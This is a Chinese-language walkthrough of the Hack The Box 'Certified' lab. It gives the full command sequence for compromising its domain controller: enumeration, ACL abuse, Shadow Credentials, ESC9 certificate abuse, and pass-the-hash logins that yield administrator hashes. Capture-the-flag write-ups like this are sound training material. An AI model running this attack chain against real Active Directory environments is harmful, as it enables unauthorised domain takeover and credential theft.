域渗透实战之HTB-Certified
字数 1222 2025-08-22 12:23:06

HTB-Certified 域渗透实战教学文档

初始信息

  • 目标机器:DC01.certified.htb (10.10.11.41)
  • 初始凭据:
    • 用户名:judith.mader
    • 密码:judith09

信息收集阶段

端口扫描

sudo nmap -sT --min-rate 10000 -p- 10.10.11.41 -oA nmapscan/port
grep open nmapscan/port.nmap | awk -F'/' '{print $1}' | paste -sd,
nmap -sTVC -O -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49668,49673,49674,49683,49713,49737,62702 10.10.11.41

域名解析配置

echo "10.10.11.41 DC01.certified.htb certified.htb" > /etc/hosts

SMB服务枚举

smbclient -NL 10.10.11.41
crackmapexec smb 10.10.11.41 -u judith.mader -p 'judith09' --shares

RID暴力破解获取用户列表

crackmapexec smb 10.10.11.41 -u judith.mader -p 'judith09' --rid-brute | grep 'SidTypeUser'

获取到的用户列表:

  • Administrator
  • Guest
  • krbtgt
  • DC01$
  • judith.mader
  • management_svc
  • ca_operator
  • alexander.huges
  • harry.wilson
  • gregory.cameron

AS-REPRoasting攻击尝试

impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/

BloodHound信息收集与分析

bloodhound-python -c All -u judith.mader -p judith09 -ns 10.10.11.41 -d certified.htb -dc dc01.certified.htb --zip

分析结果:

  • judith.mader对management组有WriteOwner权限
  • management组对management_svc用户有GenericWrite权限
  • management_svc用户对ca_operator用户有GenericAll权限

权限提升路径

1. 获取management组控制权

# 更改management组的所有者为judith.mader
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' set owner management judith.mader

# 检查WriteMembers权限
impacket-dacledit -action read -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"

# 添加WriteMembers权限
impacket-dacledit -action write -rights WriteMembers -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' -dc-ip 10.10.11.41 "certified.htb/judith.mader:judith09"

# 将judith.mader加入management组
bloodyAD --host dc01.certified.htb -d certified.htb -u judith.mader -p 'judith09' add groupMember 'management' 'judith.mader'

2. 利用Shadow Credentials获取management_svc的hash

# 使用pywhisker添加影子凭证
python pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target management_svc --action add

# 使用PKINITtools获取TGT
python gettgtpkinit.py -cert-pfx t0cZeyin.pfx -pfx-pass Ryk4iT9K3g7uEgqSfFG1 certified.htb/management_svc management_svc.ccache

# 设置环境变量
export KRB5CCNAME=management_svc.ccache

# 获取NTLM hash
python getnthash.py -key 3bff551f32ba6bc443866ce6a16d3d3c548785c40735c30d42a756824bb4c5ca certified.htb/management_svc

获取到的management_svc的NTLM hash: a091c1832bcdd4677c28b5a6a1295584

3. 使用evil-winrm连接

evil-winrm -i dc01.certified.htb -u management_svc -H 'a091c1832bcdd4677c28b5a6a1295584'

进一步权限提升

1. AD证书枚举

certipy-ad find -u judith.mader@certified.htb -p judith09 -dc-ip 10.10.11.41

发现存在"No Security Extension"漏洞(ESC9)

2. 利用ESC9漏洞

# 修改ca_operator的密码
net user ca_operator redteam /DOMAIN

# 更改ca_operator的userPrincipalName为Administrator
certipy-ad account update -username management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn Administrator

# 请求易受攻击的证书模板
certipy-ad req -username ca_operator@certified.htb -p redteam -ca certified-DC01-CA -template CertifiedAuthentication -debug

# 使用证书进行身份验证获取Administrator的NT哈希
certipy-ad auth -pfx administrator.pfx -username administrator -domain certified.htb

获取到的Administrator的NTLM hash: 0d5b49608bbce1751f708748f67e2d34

3. 使用evil-winrm以Administrator身份连接

evil-winrm -i dc01.certified.htb -u administrator -H '0d5b49608bbce1751f708748f67e2d34'

关键知识点总结

  1. ACL滥用

    • WriteOwner权限允许更改对象的所有者
    • WriteMembers权限允许修改组成员
    • GenericWrite权限允许修改对象属性
  2. Shadow Credentials攻击

    • 需要目标系统为Windows Server 2016以上
    • 需要写入目标对象的msDS-KeyCredentialLink属性权限
    • 使用pywhisker工具添加影子凭证
    • 使用PKINITtools获取TGT和NTLM hash
  3. AD CS攻击(ESC9)

    • 利用"No Security Extension"漏洞
    • 需要控制对证书模板有权限的账户
    • 使用certipy-ad工具进行证书请求和认证
  4. 工具链

    • bloodyAD: 用于AD对象操作
    • impacket-dacledit: 用于ACL编辑
    • pywhisker: 用于影子凭证攻击
    • PKINITtools: 用于基于证书的Kerberos认证
    • certipy-ad: 用于AD CS攻击
    • evil-winrm: 用于远程连接Windows主机
HTB-Certified 域渗透实战教学文档 初始信息 目标机器:DC01.certified.htb (10.10.11.41) 初始凭据: 用户名:judith.mader 密码:judith09 信息收集阶段 端口扫描 域名解析配置 SMB服务枚举 RID暴力破解获取用户列表 获取到的用户列表: Administrator Guest krbtgt DC01$ judith.mader management_ svc ca_ operator alexander.huges harry.wilson gregory.cameron AS-REPRoasting攻击尝试 BloodHound信息收集与分析 分析结果: judith.mader对management组有WriteOwner权限 management组对management_ svc用户有GenericWrite权限 management_ svc用户对ca_ operator用户有GenericAll权限 权限提升路径 1. 获取management组控制权 2. 利用Shadow Credentials获取management_ svc的hash 获取到的management_ svc的NTLM hash: a091c1832bcdd4677c28b5a6a1295584 3. 使用evil-winrm连接 进一步权限提升 1. AD证书枚举 发现存在"No Security Extension"漏洞(ESC9) 2. 利用ESC9漏洞 获取到的Administrator的NTLM hash: 0d5b49608bbce1751f708748f67e2d34 3. 使用evil-winrm以Administrator身份连接 关键知识点总结 ACL滥用 : WriteOwner权限允许更改对象的所有者 WriteMembers权限允许修改组成员 GenericWrite权限允许修改对象属性 Shadow Credentials攻击 : 需要目标系统为Windows Server 2016以上 需要写入目标对象的msDS-KeyCredentialLink属性权限 使用pywhisker工具添加影子凭证 使用PKINITtools获取TGT和NTLM hash AD CS攻击(ESC9) : 利用"No Security Extension"漏洞 需要控制对证书模板有权限的账户 使用certipy-ad工具进行证书请求和认证 工具链 : bloodyAD: 用于AD对象操作 impacket-dacledit: 用于ACL编辑 pywhisker: 用于影子凭证攻击 PKINITtools: 用于基于证书的Kerberos认证 certipy-ad: 用于AD CS攻击 evil-winrm: 用于远程连接Windows主机